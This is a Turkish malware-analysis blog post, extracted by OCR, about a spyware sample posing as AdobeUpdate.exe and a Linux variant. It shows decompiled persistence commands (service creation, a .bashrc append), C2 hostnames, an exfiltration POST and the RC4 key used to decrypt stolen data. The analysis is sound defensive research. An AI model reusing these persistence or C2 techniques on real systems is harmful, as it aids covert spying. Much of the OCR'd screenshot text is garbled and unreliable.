Trojan.5iggenT 6459
Trojan.Win32 Miw.eilmxp
Win32:Malware-gen
clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

date (dd.mm.y...

21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
18.11.2016
21.11.2016
17.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016

age (...

Lzal =T = I = = N = B = U= LR = B = B = L= B = B =)

=
=

L= B = T = N = U= T = N = N = LT = T = N = B = L= L = B = B < (= <]

m
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File Help

weHlXE?

- o e e s e 1

=8 chusers\mert\desktop'\polgov-exti\adobeupdate.exe

indicators (wait..

virustotal (;
dos-stub (136 bytes)
file-header (20 bytes)
optional-header (224 bytes)
directories (4/15)

sections (3]

libraries (1)

imports (4/98)

exports (n/a)

exceptions (n/a)
tls-callbacks (n/a)

resources (2/9)

strings (wait..)

4Tt debug (n/a)
2 EI manifest (n/a)

wersion (10)

.G certificate (n/a)

overlay (wait..)

<4

n

engine (56) positiv (32) date (dd.mm.y... age (..
McAfee Artemis!01A56B91EBBE 14.11.2016 12
McAfee-GW-Edition BehavesLike.Win32.Trojan.tt 1311.2016 14
MicroWorld-e5can Gen:Variant.Kazy. 745415 14.11.2016 13
AlYac Gen:Variant.Kazy.745415 14.11.2016 13
BitDefender Gen:Variant.Kazy, 745415 14.11.2016 13
Ad-Aware Gen:Variant.Kazy.745415 1411.2016 13
F-5Secure Gen:Variant.Kazy, 745415 14.11.2016 13
GData Gen:Variant.Kazy.745415 14.11.2016 13
Emsisoft Gen:Variant.Kazy, 745415 (E) 14.11.2016 13
AVG Genericld_cISW 14.11.2016 13
Qihoo-360 HEUR/QVMO3.0.Malware.Gen 14.11.2016 12
Symantec Heur.AdvML.C 14.11.2016 13
Ahnlab-V3 Malware/Win32.Generic.N1737323262 14.11.2016 12
KIGW Spyware (004d53c91 ) 14.11.2016 13
K7 AntiVirus Spyware (004d53c91 ) 14.11.2016 13
Avira TR/5py.Agent.1232896.79 14.11.2016 13
Panda Trj/GdSda.A 12.11.2016 14
Ikarus Trojan-Spy.Agent 14.11.2016 13
Zillya Trojan.AgentWin32.585022 11.11.2016 16
Arcabit Trojan.Kazy. DBSFCT 14.11.2016 13
MNAMNO-Antivirus TrojanWin32 Agent.ebjjba 14.11.2016 13
VIPRE TrojanWin32 Generic!BT 1411.2016 13
Alware TrojanWin32.Generic!lBT 14.11.2016 13
Yandex Trojan5py.Agentlesl/405QLE 13.11.2016 14
Microsoft TrojanSpy:Win32/Skeeyah.Alrfn 14.11.2016 13
Kaspersky UDS:DangerousObject.Multi.Generic 14.11.2016 13
Fortinet W32/VBKrypt.Cltr 14.11.2016 12
Tencent Win32.Trojan.5py.Een 14.11.2016 13
Baidu Win32.Trojan.WisdomEyes16070401.9500.9... 11.11.2016 16
ESET-NOD32 Win32/5py.Agent.OT) 14.11.2016 13
Blav clean 12.11.2016 15
nProtect clean 14.11.2016 13
CMC clean 14.11.2016 12

m

[k olarak AdobeUpd.exe programini VB Decompiler araci ile inceledigimde, calistirildiktan sonra %TEMP%\AdobeUpdate.exe
programini %WINDIR%\System32\AdobeUpdate.exe klasoriine kopyaladigini1 ve Windows yeniden baslatildiginda otomatik olarak
calisabilme adina AdobeUpdate servisi olusturdugunu tespit ettim. Bu arada unixupdate programinin Linux iizerinde ¢alistirildiktan
sonra kendisini kullanicinin HOME dizini altina .unixupdate ad1 altinda kopyaladigint ve bulundugu dizini .bashrc dosyasiin sonuna
ekledigini de Linux kullanicilar ile paylasayim.

FileName:

Objects Tree:

| 4 & Code
3 Sub_Main
B moduleA
P APl

C:\Users\Mert\Desktop\polgov\AdobeUpd.exe

Native Code

[ 'sub Main |

2669:
266E:
266E:
271B:
2758:
277B:
27Cé6:
27E4:
27F8:
2825:
2830:
285B:
2882:
2885:
288A:
28B7:
28C5:
28CF:
28D4:
28DB:
28F1:
2901:
2968:
299A:

ARAD .

var_ A8
var_68
var_78
var_24

var_88

var_ 88
var_58

var_104

var_54

var_eax
var 110
var_eax
var_104

Get #1,

Oless A

Decampiled OK

[}

1

If var_ 38
var_eax = Sleep(10000)

GoTo loc_004027Cé
'Referenced from:

var_ 98
"move

v Parse stack parameters

0040250B

" & Environ$ (var_88) & "\AdobeUpdate.exe
var_68 & Environ$ ("windir")

Decompile

v Procedure analyzer and optimizer

" & Environ$ ("windir"™) & "\¢&

& "\System32\AdobeUpdate.exe DisplayName= Adobse

var_78 & "sc failure AdobeUpdate reset= 30 actions= restart/10000/restart/

'Referenced from:
var_ DO = "cmd /c

00402669

"

"emd /fc " & var_24
= 0 Then GoTo loc_00402DF5

"temp"

Environ$ (var_88) & "\tmp0Ol"”

If var_104 =

If var_104 =

1

var_eax = Proc_403190(var_58, var_88)

Proc_403190(var_58, var_88)

0 Then GoTo loc_00402B31

"C:\Program Files\BitDefender"
= Proc_403300(var_54)
Proc_403300(var_54)
Proc_403230
Not (Proc_403230)

0 Then GoTo loc_00402B31
Open Environ$ ("temp”) & "\tmp001" For Random As #1 Len
s var_3C

= Len (var_3C)
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M =

root@ubuntu: ~
GNU nano 2.5.3 File: .bashrc

. ~f.bash_aliases

fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in fetc/bash.bashrc and fetc/profile
# sources fetc/bash.bashrc).

#if [ -f Jetc/bash_completion ] && ! shopt -oq posix; then

# . fetc/bash_completion

#fi

Jroot/.unixupdate

W8 Get Help [ 8 Write Out @W Where Is [@d Cut Text § Justify e Cur Pos
W Exit Wil Read File @Y Replace Wl Uncut Textill To Spell [l Go To Line

e e e

File Edit Jump Search View Debugger Options Windows Help

»00O ¥F 300 BF FAPTPE S L 8y &
iy ] z
Library function Data [l Regular function Unexplored [l Instruction External symbol
Debug View ] Al Structures 4 Enums
[ IDA View-EIP O & x i General registers o & x
"~ " |o80648623 lea edx, aFFFAcoi[eax] "Unix.softwareupdate.ignorelist.com: 443" ‘ m b D o
08048629 mou eax, [ebptuar_10] =
0804862C mov ecx, [ebp+uvar_C] > Modules LA
0804862F add eax, ecx Path -
08048631 shl eax, 3 - -
08048634 mov ecx, eax _;.._.‘x'loob'.unlxupdate
08048636 shl ecx, 4 will [vdsol s
08048639 add eax, ecx 1 m »
08048638 add eax, offset aFFFRooil unix ftuare yte.ignorelist.com: 443
08048640 mov [esp*98h+uar_94], edx
08048644 mou [esp+98h+var_98], eax 3 Threads 0 # x
08048647 call near ptr decode ’
0804864C test eax, eax Decimal Hex State
B80O48B4E jnz loc_8048422 3 5145 1419 Ready
100.00% (993,1698) (196,12) UNKNOWN 0804842B: openconn+6€9 (Synchronized with EIP)
3| Hex View-1 0 # x [DStackwvi.. O # x
FF FEO T3 20 25 73 00 S8 41 S5 S4 48 4F 52 49 S4 59 3D s-%s.XAUTHORITY: ~ Frcussie [EEE -
2F T2 6F 6F 74 2F 2E S8 61 75 T4 68 6F 72 69 T4 /root/.Xauthorit FFC48314 ©8OEF
7900 SF 3D 2F 72 6F 6F 74 2F 2E 7S 6E 69 78 75 y._=/root/.unixu FFC48318 ©OOBBE
70 64 61 T4 65 00 2F 72 ©F 6F T4 2F 2E 75 GE 69 pdate./root/.uni FFC4831 0000¢
TBE?B 64 61 T4 65 60 00 00 00 00 0O €0 00 00 xupdate......... FFC48320 0OOBOE ;
UNKN FFC4 (Syn ~
UNKNOWN FFCSBFF1l: [stack]:FFCSBFF1 v 4 »
= Output window o & x

Flushing buffers, please wait...ok
Python

AdobeUpdate programi calistirildiktan sonra kaynak koduna gdmiilii olan komuta kontrol merkezi sunucularma 80, 8080 ve 443
baglant1 noktalarmdan erismeye ¢alistyordu. Isin ilging yani ise haberlesmeye calistigi komuta kontrol merkezlerinden gogunun
Tiirkiye'de bulunmasiydi. IP adreslerine baglanmaya calistiginizda da bu ip adreslerinden bazilarinin DVR cihazlarina ait oldugunu
gorebiliyordunuz. Ozellikle DDoS saldirilarinda kullanilan IoTlerin hedeflenmis saldirilarda da ziplama noktasi olarak kullanilmas:
sanirim bu saatten sonra kimseyi sasirtmayacaktir.
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Contacted Hosts

<_

443

C (@ allegro.crabdance.com

Address

Language

DVR LOGIN

B Remember me
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Apache2 Ubuntu Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Ubuntu tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

/etc/apache2/
[-- apache2.conf =
_—— I -= norte ronf
< C  ©® wudang.ignorelist.com ¥

DVR LOGIN

B Remember me

Language

Tabii zararli yazilimin derlenmesinden 1.5 sene sonra komuta kontrol merkezlerinin hala ¢aligir olmasin1 beklemek hayalcilik olurdu
dolayisiyla ¢alisan bir komuta kontrol merkezi maalesef bulamadim. Ben de bunun {izerine ¢aligtirilir galistirilmaz haberlesmeye galistigi
komuta kontrol merkezinin login.php sayfasina gonderdigi sifreli veriyi ¢ozmeye karar verdim. AdobeUpdate.exe programinin sistem
iizerinde ¢alistirdigt WMIC islemine (process) kod enjeksiyonu yaptigimi bildigim i¢in IDA Pro ile kod enjeksiyonu yapilan noktay1
AdobeUpdate program iizerine tespit etmeye ¢alistim ancak cesitli teknik engellerden dolayr IDA Pro beni biraz hayal kirikligina
ugrattr. Immunity Debugger aracini her zaman daha kullanish bulan biri olarak bu defa ne varsa eski dostta vardir diyerek incelemeye
calistigimda bu defa Immunity Debugger aracinin ¢oktiigiinii gérdiim. Bu bir kabus olmali derken OllyDbg aracinin tahtina aday
olan x64dbg araci imdadima yetisiverdi. AdobeUpdate programui Visual Basic ile gelistirildigi ve enjeksiyon sonrasi zararli kodun
bellekten calistirilmasi amaciylaCallWindowProc API kullanildigint gérdiigiim i¢in bu API ¢agrilmadan once bellekte PE dosya
formatinin baslangic degerlerini 4D5A90 (magic header) aratmaya karar verdim. Arama sonucunda zararli yazilimin g¢ekirdegine
basariyla ulastiktan sonra bellekten diske kayit ettim. (dump)
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http://x64dbg.com
http://waleedassar.blogspot.com.tr/2012/03/visual-basic-malware-part-1.html
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8 s 01615 0528 Wb 1105 5V e 462 111 . - O

Ele ot Yiew Go Coptwe Anshze Statistis Telephony Jook Intemsts Help

coama BEREXR AeraT2 ([EE eaan @B % @
Filter: tepstream eq0 [~] & sion... Clear Apply Save
Ne. Time Source Destination Protocal Info.
116 223.066000 127.0.0.1 127.0.0.1 3 40 swidy-sias > ddi-up-: [ack) an-a. Ack=1 Win=8192 Len=0
117 223.077000127.0.0.1 127.0.0.1 P 476 [Tcp of a
118 223.133000127.0.0.1 127.0.0.1 HTTP 637 POST It'lp /fnnthl M‘imm com: mﬂngfn.plp wrrr{l 1 (application/x-www-form-urlencoded)
122 223.207000127.0. Lo0.u0.d . 0
124 223.211000127.0.4 4 | | 56 LM
126 233.215000127.0. 56 Len=0
- Seream Content y
| POST hrtp: f/zmrhl twi‘ﬁdnplraim com:8080/Togin. php HTTP/1.1
Accept: text/ht
Accept-L. m-gh

none
Soneent e Spp fESEicasex tencodes
= : 1 x-u—- orm-ur
1 ible; MSIE 8.0; windows NT 5.1; Trident/4.0; SLCCL; .NET

user - 5.0 (c

CLR 3, .am 2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)
Content-Length: 597

Proxy-Connection: Keep-alive

"m: no-cache

?D:'z’;x“‘ Mua::nusm-m"“ “ Aracuspagter n gap;*j:olnmm»r(
| — mmﬁ I:"mmmmin’m -
udd!nrz‘r My{r € 3haoZwHE

T e e

Favour s

ad L-tu) Plugins Optort  Help  Nov 9 2016

cos "l "ta ,“.L) -ﬁ'lhaﬂOﬁ*Oll‘-*dl.ﬁ & B .'I.QJ.

;i .‘m‘ - Memaory Map 0 ‘Call Stack " SEH = Saript ﬂ w Q-M-_ » | -;_m-_ - "l'"v_mm__ _l_é'm' o “_l“i_m_ ]

|
f .

Hide FPU
[« or 8ax, #ax AKX a
o ;c-ag:blmuom ™) 8 arrvphp
x EBx 013259
04 33 40 00 push adobeupdate.403304 403304 18" yser32” =" 9
20 14 40 00 mov nx.<a¢ob¢up¢ue,u‘llrunct1mc¢1‘l7 @ax: "XrrYYPhp” o a
@ =
o0 @ ptr ds:feax],al #ax: “XrYYIPhp” F50C
o8 add m- ptr ds: |bxi:( €SI 0O000000F
g(; o m byte ptr dsileax .;i‘.*‘ ®AX: CXIYYYPhD” - EDI Q0000000
7233 . 4 EIP  0040331C adobeupdate. 0040331C
5 ch, byte ptr ds:
6 byte ptr es: E ;.m EFLAGS 0000012
Qlﬂr-s edi > ZFO PFO AF1

o0 Eda.ut.al OF 0 SFO DF O

o S CFO TFO IF1

G & 6 7750 & 1&mn'r"m{.mu1,mmm
iﬁ byte ptr “Ftr"

Keg

IE8888888588U2282A2KN 28888 AR
2
g
g

33 :dd byte ptr ds:[ebx-esi]),bh £S5 0023 ©0S 0023
g 33 40 ds: tbxinhw].c‘l Cs oole sS 0023
04 00
83 40 00 00 00 {siicall) ¥ 5 &[] uniocked
% e
8 85 40 00 12} [espeso; 00000000
e u] 00000000
OCA>
$331C #331C
Dump3 | WOumps | Boumps | 8 warhy (50 (] #|
0012F SE4 0
"y A Go12F 65| 0000000€
aomacial S 10 23 00100 30 93 00100 0 &0 8300 o8 20 &2 i e
g og%ﬁgﬁgg@g%ﬁﬁﬁaﬁg ggi::sz:;?urmci msvbvmb0. __vbanresultCheckob]
01060050/ 00 00 00 0000 00 00 00|00 00 00 00|00 €1 00 00 B e LR Saan0 Hhsobapdi Ty 90400000
01060060 OF 1F BA OF |00 B4 09 CD|21 88 01 4C/CD 21 54 68 01 3F604 | 0015006
01060070(69 73 20 70|72 6F 67 72 (61 60 20 63 |61 6E 6E 6F 1608 | 00000001 a
SEEEIgscnERsEaniE S g -
01060040 |EQ 7E 3E D6 A4 1F 50 85 A4 1F 50 83 A4 1F 50 85 01 FOL0] DUSOIGL £
01060000 |83 09 36 85 A5 1F 50 8519 50 C6 BS a2 1F 50 8% | [ remmpr—— >
S T TmTe—

0009200012

o
5!
g
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x32dbg - File: AdobeUpdate. exe - PID: DO4 - Module: adobeupdate. exe - Thread: Main Thread 93C

File Vew Debug Plgns Favouries Options  Help
o8 S0 ta tall .
Bou | ®aah | il Notes

El’m:mwﬂ

Hao e B g «#fx L BEeEN RO
* Breakponts = Memory Map
Strings (Region adobeupdate ane)

(b Call Stack -5 SEH

@] symbols < Source

References | % Threads | 4 Srowman | dl Handies

Command: savedata save,mem, 01060000, 00052000|

Fased |01060000{92000] written 1o “save.mem” |

whhd X8 ?

il indicators (11/28)
-3 virustotal (34/56 - 21.11.2016)
O dos-stub (192 bytes)
file-header (20 bytes)
optional-header (224 bytes)
directories (4/15)

[m]
o
[m]
.. [0 sections (4)
. 0 libraries (8/17)
O imports (226/336)
O exports (n/a)
O exceptions (n/a)
O tls-callbacks (n/a)
=" resources (1)
-abe strings (430/6123)
4Tt debug (n/a)
g manifest (invoker)
..[20] version (n/a)
£ certificate (n/a)
.| ] owerlay (unknown)

property
md5

shal
imphash
cpu

size
entropy
description
version
date

type
subsystem
signature

4 1

value

EFAT75630901752598 D8E6ATIECTOAFLL
BED9ASEC28DTFDOCO20256CBASSE115D6F323E9E
n/a

32-bit

597984

6.750

n/a

n/a

16:11:2016 - 13:47:02

executable

GUI

n/a

IDA Pro ile diske kayit ettigim zararli yazilimi analiz ettigimde ¢ok gegmeden komuta kontrol merkezine gonderilen verinin
RC4 simetrik sifreleme algoritmast ile sifrelendigini gérdiim. RC4 sifrelemesinde kullanilan anahtarin olusturulmasinda kullanilan
WePWNhouses12345 karakter dizisi, bu zararli yazilimin ev kullanicilarini hedef almak amaciyla gelistirildigi ihtimalini giindeme

getiriyordu.
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https://en.wikipedia.org/wiki/RC4
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Library function 1l Data [l Regular function Il Unexplored [l Instruction | External symbol

Y B

Debug view oA Structures [£] Erums [x
(T8 ma view-£P 0 & x 18 General regsters 08 x
EAX 00276108 % debugBi19:0027610R m e
EBX DOBDO1BE ::: :
loc_NASSF6: : dwBuflLen ECx do00000e ac o
ehx EDX DRODOODZ UM @
i i dnt : EST 0276100 % debug19: 08276108 RF @
e 3 sifreleneye gidiyor EDI 00276000 % debug@i19: 00276008 HT @
:lf'ﬂ EBP OO18FABS % Stack[0DDODS18]: DB1BFABE lll;ﬂ‘L:
short loc_ 435588 ESP O018F668 % Stack[DRDORS18] : 0MMBF66E oF @
EIP DD4ISS5FE W sub_k3IS560+98 F 1
EFL 0000212 F 0
SF 0
cnp [ebp+arg 4], 1 ;:: 1'
jnz short loc_&35613 loc_h35588:
™ mou ecx, dword_S9B08C :: :
100.00% (-30,1233) (643,36) DO034SFT 0043S5F7: sub_435560+97 (Synchronized with EIP)
[ Hex view-1 O & x [T stackview =0
a0276190 A.p.p.D.a.t.a.\. ~ BO1SF66N  DB2761DA  debug@19:0027610A -
os276100 LooeadN T e, owsreos (TEZAITMOEMPIORTFREIT
BO2761B0 np OO0 Ye | OO18F 64
oe2761C0 PR 0018F6T0 ita:werd_S9B2CH
00276100 INITC)....1. BO18FATH debug®19: 00273860
002761E0 8.2.:.0.5.:. BO18FA78
a02761F 0 1.3.9.:.3.0. DE1BFA7C BO1BF6A8  Stack[BODNBSE18]:BO18FEAS
00276200 OU18FAB0  7796EBFE  ntdll.dll:ntdll_EtwEventActivit:
ao276210 OU1BF6BS B L1
00276220 DE18F6EE O L]
PB276230 2...1.9.h...7.0. O0IBFGBC  TT96ECON ntdll.dll:ntdll_EtwEventRctivit:
0a276240 aal Bt 1.3.2. O018F690 O@18F6B8  Stack([00000818]:0018F6BE
00276250 se2.B.6...0.1.n. ORIBF69N  TSBEEBRG6 wininet.dll:wininet_HttpAddRequ:
00276260 d.o.w.5.-.7.-.5. O018FA98 7SCBYE7C wininet.dll:7SCE9ETL
ao276270 e.r.v.i.c.e.-.P. BU1BFA9C @ oy
00276280 BaC ke atunsllala UBFAAD
00276290 9 6E n.u.i.n.e.l.n.t. OU1BFAAS  DO1BFBON Stack[MO0NOS18]:0018FE0N
BE27a2A0 65 @0 6C 00 20 00 78 00 (P LR B R 5

UNINOWN 002761D0: debug019:002761D0

(=] Output window
Flusnin§ buffers, i)luse wait. ..ok

Disk: 2368

A e i -
File Edit Jump Search View Debugger Options
> 00 e

UNEHOWN 0018F668: Stack[00000818]:( (Synchronized with ESP) -

- 4 m v

0O & x

Windows Help

©F 300 @8 THF S D HAY @

Lbrary function 1 Data [l Reguiar function [l Unexpiored [l Instruction | External symbol

Debug View

0| &

ecx, [esp+3Ch+phHash]
edx, [espr3ChephProv]
eax, [esp*3Chephkey]

eax, eax

edx
ds:Cryptberivekey

short loc_&37270

eax : phKey
LTTTTTS dwflags
1= 3
6801h ; Mlgid

: hProv |

(R X ]
oy eax, [esp+3ChedwBuflen]
mou ecx, [espedChevar_20] loc_k37270:
nov edx, [esp+3Chephkey] nov ecx, [esp+IChevar_4]
push eax ; dwBufLen pop edi
oy [esp+hdhepdudatalen], eax pop esi
lea eax, [esp+hdh+pdwdatalen] moy al, bl
push eax : pdwbatalen| pop ebx
push BCX + pbbata xor BCX, E5p
push ebx + dwFlags call @__security_check_cookie@y ; security_check_cookie(x)
push 1 ; Final add esp, 30h
push ebx ; hMash retn
push edx 3 hKey sub_k37120 endp
call ds:CryptEncrypt
sans e mne
100.00% (310,2128) (701,3) 000236520 00437120: sub_437120 (Synchronized with EIF)
(3] Hex view-1
Da276190 N1 00 7O 70 00 &% @0 &1 00 7H 0O &1 00
DE2761A0 NC 00 &F 63 00 41 0B 4C 00 SC 00 Sh
BE276100 6D OB 70 00 AB AB AR AR AB AR AR AR EE
GBZ741CH OO0 0O 00 0D 00 0D 00 00 4D FB DA 36 AC
naz76100 u KE &9 Sh 43 Ba @1 00 00 @ 31 00 30
DEZVATED 30 00 32 00 3 0D 42 OO 35 B0 34 0D 32

UNKNOWN 002761D0: debug019:00276100
=] Outpust wandow

Flushing buffers, please wait...ok
(Pyiton |
AU;_ idle

Down Disk: 23GB

O & x 1B Generalregsters 08 x
EAX 002761DA % debug®19: 00276100 i o

£8X 000001 uiP o

ECX 00000000 - n’ :

EDX BO0ORDO2 N 0

ES] 08276100 % debug®19: 08276100 RF B

EDI 08276000 w debugii9: 08276000 ]

EBP OO1BFABE % Stack( 0000818 ] : 0018FASS 10PL 0

ESP O018F668 % Stack[00000818]: 0018F 668 : :

EIP DBRISSFE % sub_h3S560+98 IF 1

EFL 00000212 " e

SF L

2F 0

wF 1

PFo0

CF @

0 & x [T stackvew 0 & x

O018F 664 082761DA  debug019: 00276100 -
ootorsss (TZEZSTTNRIMPIEAIEIAT

BB18F66C  DODOBIBE

OO1RF&TE  DOSYBICE  .data:weord_S5982C8

DEF&TA  DO273860 debugmP:0027IRGD
TMIGIONN 0018F662: Stack([00000812):( (Synchronized with ESP) -
-4 m »
0O & x
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(5] 1A viewErP Oa& x

Stack[ B6ABOEBA] : 6618F648 db  5Dh ; ] -
" |Stack[0BBGGEGS] :6018F649 db  SFh ; _ ™
© Stack[©G080BEAA] :0818F64An db  44h ; D
® Stack[0000BEGB]:0018F64B db a
“ Stack[BOBBOEAB]:8818F6AC aWepwnhouses123 db ‘WePWHhouses12345° .0
® Stack[BOBOBE0O]:0818F65D db @FAh ; -
® 'Stack[G00BBEBO] : 0B18FG5E db  18h
. Stack[ BABBBEGA] : BB18F65F db 8
“ Stack[G00BBEBO]:0B18F668 db  44h ; D
" |Stack[0BBGGEGH] :6018F661 db BC1h ; -
® Stack[@60BPEGA] : 6618F662 db BF8h ; °
® Stack[0000OEGB]:0018F663 db BFCh ; n
"f‘ Stack[ A0BBBEGA] : BA18F664 db BFDh ; 2
® Stack[BOBOOEGO]:0818F665 db  55h ; U
® 'Stack[G00BBEBO] : 0B18F666 db  43h ; C
® Stack[©0000EGA]:6018F667 db a
" Stack[0000BEGB]:0018F668 db BDOh ; -
Stack[00006BEGA] : 8018F669 db  61h ; a
" Stack[@60BOEBA] : B618F66A db  64h ;
® Stack[0000BEGB] : 0018F66B db a
UNENOWN 0018F660: Stack[00000E00]:0018F660 (Synchronized with EIF) -

mtmmu—wwmm

P O0Oawnion - %@ 300 @8 IPFE G4 DAV 8
0 1 0 00000000 0000000000000 00000 0 0 00 00 OO 0000 10 -
Lbrary functon 11 Data [l Reguler function [l Unexplored [l instruction | External symbol

T8 ma view-eP 0 & x 1B General regsters o & x
— EAX 00000001 « debugBi9:B027610R i o
EBX DODOMIBE ::: :
loc_W355F6: ; dwBufLen ECX 2FCOBIAC ac 0
push  ebx EDX 00000002 VI
push esi ; int ESI 90276100 % debug®i9: 00276100 RF ©
L B jorlftelensye Sidiyer ED1 08276000 % debug19: 08276000 Nl 0
test *.:";1' EBP OO1BFABE % Stack( 00008 18] : 0018FASSE 1oPL®
jz short loc_k3sses ESP OO1BFG68 W Stack([D0000S18]: 0018F 668 :: :
EIP 0B43SSFD % sub_has560+90 ¥ 1
[ ] EFL e
: SF 0
crp [ebpearg 4], 1 : :
jnz short loc_&35613) loc_k35588: PF 0
noy ecx, dword_S9B0BC cF ®

100.00% (-30,1233) (448,3) OOOJ4SFD 004ISSFD: sub_435560+9D (Synchronized with EIP

(D] Hex view-1 0 & x| [T stackview 08 x
00276190 41 00 70 00 70 0O 44 00 61 00 74 00 61 00 5C 00 B UL 00276108 _debugo19: 0027610 i -
ea2761A0 @0 6C 00 5C 00 5h 00 65 OO GU1BF66C
oe276180 AB AB AB AB AB EE FE EE FE BE1BF&T0 ~data:word_S9B2CE
apz761Cce 80 &D F8 DA 36 DOBF&TN debug@19: 00273860
00276100 8D 71 6E W 86 DO18F 678
Da2761ED 98 38 38 E8 68 OM1BF&TC Stack[ 00000818 ] : OR18F 6A8
oez761FD FO SA FD o0 21 DO18FARD ntdll.dll:ntdll_EtwEventActivit
00276200 4C 8D Ch 02 A1 DR18F 68N
ne276210 87 &2 AD AD DD 15 B2 TF 0018F 688
oan276220 C5 8B F5 A1 27 72 Th 2E OD1SFGBC  7796ECON ntdll.dll:ntdll_EtwEventActivit:
|e276230 €8 25 1E 87 EC 86 BF 83 68 20 32 SF  z1g9°F%.283.3he2_ OMBF&90 OD1BF6B8 Stack[D0DODE18]:0MISFABE
a2 76240 D7 00 &1 7h B6 7F 4B 66 AS 42 MC F9 (8=++_at! FBL - ODIEFA9N  TSBEEBAG wininet.dll:wininet_HttpAddRequ:
oe2 76250 D1 AD 51 E6 SE C3 B6 C7 15 CI hA 34 T.Dr-.Qpn + I OMBF698 7SCHPETC wininet.dll:7SCEPETC
we276260 11 E3 58 CF EF DC FC && 6A DF 7h &2 ;-.].pX-n_nDj zB OMBF&9C a0
0276270 BA EE F5 EX 9 CA F6 D1 E9 46 AN FE  -\«Bie)sii-+-TFi} [T LULTLg
00276280 Bh EO 6B 93 91 51 AR 00 F7 29 FB &F ii.-dakie(-.0)"0 OD18F6AN  DOTBFBOA  Stack[ DDDDDE18]: DDIEFEDN
0276290 4 S1 61 98 EB 7E CE ES &1 50 27 A3 E+2}J0aijd™+sn]"d O018F6AE  OO1BFSDC  Stack[ 000008 18] :0M18F&DC
00276200 DE BF 38 63 8% 31 73 F1 00 6B 79 A6 DFSY]+Bciiss . ky?

UMINOWN 0018FEE2: Stack[0000081E8]:( (Synchronized with ESP) -
UNINOWM 002761D0: debug019:002761D0 - 4 m "
T Output window o#& x
7IBBODO0: loaded C:\Windows\SysWOWsN\userenv.dll =
| Pythen
AD;_idle Down Disk: 23GB

Anahtarin olusturulmasinda kullanilan karakter dizisini bulduktan sonra Python ile RC4 sifrelenen veriyi ¢6zen bir program hazirlamaya
karar verdim ve ortaya adina Polgov Decryptor verdigim arag ¢ikiverdi. Bu arag¢ sayesinde aglarinda paket kaydi (full packet capture)
yapanlarin ge¢cmiste sistemlerinden sizan sifreli verileri ¢ozebileceklerine timit ediyorum.
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https://github.com/mertsarica/hack4career/blob/master/codes/polgov_decryptor.py
https://en.wikipedia.org/wiki/Packet_capture_appliance

B C:\WINDOWS\system32\emd.exe

tbkuGWhbH1151Rr
glHorsho+

ypted data: INITC{E Bl @ D2 :b 5 b : 3 4 WIN-A7DCBPP3
9 4 78 .181. ] . Window 7 Service Pack 1
x 86 23 g r http

tps=127. DEFAULT
at \Local\XTemp

]
2
t

rt\Desktop>.

Sonug itibariyle kum havuzu (sandbox) raporlarindan da elde edilen bilgiler 1s18inda, sistem iizerinden ses, tus kaydi ve parola bilgilerini
calabilen, adimi bilemedigim bu ileri seviye casus yazilim ile birilerinin uzun bir siiredir Linux, Windows ve macOS kullanicilarini
hedef aldigim gorebiliyoruz. Ozellikle APT zararl yazilimlarinda karsilastigimiz LUA betik dili kullaniminin bu zararl yazilimda da
kullaniliyor olmasi bu zararli yazilimin arkasinda organize bir grubun olabilecegi siiphesini arttiriyor. Son olarak Windows kullanicilar
kadar Linux ve macOS kullanicilarina da internet sitelerini gezerken dikkatli ve tedbirli olmalarinda fayda olacaktir.

Yazima son noktay1 koymadan once, zararli yazilima iliskin yapmis oldugum bildirime geri doniiste bulunup, ¢alisma baslatan Siber
Suclarla Miicadele Daire Bagkanligi'na sorumlu bir vatandas olarak tesekkiir eder, bir sonraki yazida goriismek dilegiyle herkese giivenli
giinler dilerim.

Siber Suclarla M. D.B Bilisim Sis. Yon. |slenen S. Br

Tarihge:

13 Kasim'da USOM'a konuya iliskin bildirimde bulundum. 20 Kasim'da Siber Suclar Daire Baskanligi'na bildirimde bulundum. 22
Kasim'da zararli yazilimlar1 barindiran iiniversite yetkilisine konuya iligkin bildirimde bulundum. 29 Kasim'da USOM tarafindan

kurumlara zararli baglanti adresleri ile ilgili uyar1 e-postast gonderildi.

Not: Bu yaz1 ayrica Pi Hediyem Var #9 oyununun ¢dziim yolunu da igermektedir.

The post They PWN Houses! appeared first on Hack 4 Career - Siber Giivenlik Giinliigii.
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https://www.hybrid-analysis.com/sample/47af0f23a5688c2c796f470a45ab055171d1b2230e00a276b541d503677d149a?environmentId=100
https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/
https://www.lua.org/
http://www.siber.pol.tr/
http://www.siber.pol.tr/
https://www.mertsarica.com/pi-hediyem-var-9/
https://www.mertsarica.com/they-pwn-houses/
https://www.mertsarica.com
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